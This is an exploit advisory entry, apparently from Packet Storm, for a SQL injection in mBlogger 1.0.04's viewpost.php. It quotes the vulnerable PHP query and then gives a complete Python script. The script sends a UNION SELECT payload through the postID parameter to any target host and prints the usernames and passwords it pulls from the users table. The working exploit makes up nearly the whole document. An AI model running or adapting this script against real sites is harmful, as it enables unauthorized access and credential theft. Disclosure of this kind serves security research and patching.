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mBlogger 1.0.04 SQL Injection

🗓️ 01 Sep 2010 00:00:00Reported by Ptrace SecurityType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 18 Views

mBlogger v1.0.04 SQL Injection viewpost.ph

Code
`#!/usr/bin/python  
#  
# Exploit Title: mBlogger v1.0.04 (viewpost.php) SQL Injection Exploit  
# Date : 31 August 2010  
# Author : Ptrace Security (Gianni Gnesa [gnix])  
# Contact : research[at]ptrace-security[dot]com  
# Software Link: http://sourceforge.net/projects/mblogger/  
# Version : 1.0.04  
# Tested on : EasyPHP 5.3.1.0 for Windows  
#  
#  
# Description  
# ===========  
#  
# + viewpost.php => SQL Injection!!  
#  
# 30: $query = "SELECT id, name, subject, message, posted FROM posts WHERE  
# id = '$_GET[postID]'";  
# 31: $result = mysql_query($query) or die(mysql_error());  
# 32: while($row = mysql_fetch_array($result, MYSQL_ASSOC))  
# 33: {  
# 34: echo "<div class='posttitle'>";  
# 35: echo "<h3>" . $row['subject'] . "</h3>";  
# 36: echo "</div>";  
# 37: echo "<div class='postbody'>";  
# 38: echo "<p> Posted by: " . $row['name'] . " on " . $row['posted'] . "</p>";  
# 39: echo "<p>" . $row['message'] . "</p>";  
# 40: echo "</div>";  
# 41: $postID = $row['id'];  
# 42: }  
#  
  
import re  
import sys  
import http.client  
  
  
def usage(prog):  
print('Usage : ' + prog + ' <target> <path>\n')  
print('Example: ' + prog + ' localhost /mBlogger/')  
print(' ' + prog + ' www.target.com /complet/path/')  
return  
  
  
def exploit(target, path):  
payload = 'viewpost.php?postID=-1%27%20UNION%20SELECT%201,%27h4x0r%27,%27'  
payload += 'credentials%27,CONCAT(%27%3C1%3E%27,username,%27:%27,password,'  
payload += '%27%3C2%3E%27),%20NULL%20FROM%20users%20--%20%27'  
  
print('[+] Sending HTTP Request')  
con = http.client.HTTPConnection(target)  
con.request('GET', path + payload)  
res = con.getresponse()  
  
if res.status != 200:  
print('[!] HTTP GET Request Failed')  
exit(1)  
  
print('[+] Parsing HTTP Response')  
data = res.read().decode()  
pattern = re.compile(r"<1>(.+?)<2>", re.M)  
  
print('[+] Information Extracted:\n')  
credentials = pattern.findall(data)  
for element in credentials:  
print(element)  
  
return  
  
  
  
print('\n+-----------------------------------------------------------------------------+')  
print('| mBlogger v1.0.04 (viewpost.php) SQL Injection Exploit by Ptrace Security |')  
print('+-----------------------------------------------------------------------------+\n')  
  
if len(sys.argv) != 3:  
usage(sys.argv[0])  
else:  
exploit(sys.argv[1], sys.argv[2])  
  
exit(0)  
  
`

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01 Sep 2010 00:00Current
0.2Low risk
Vulners AI Score0.2
18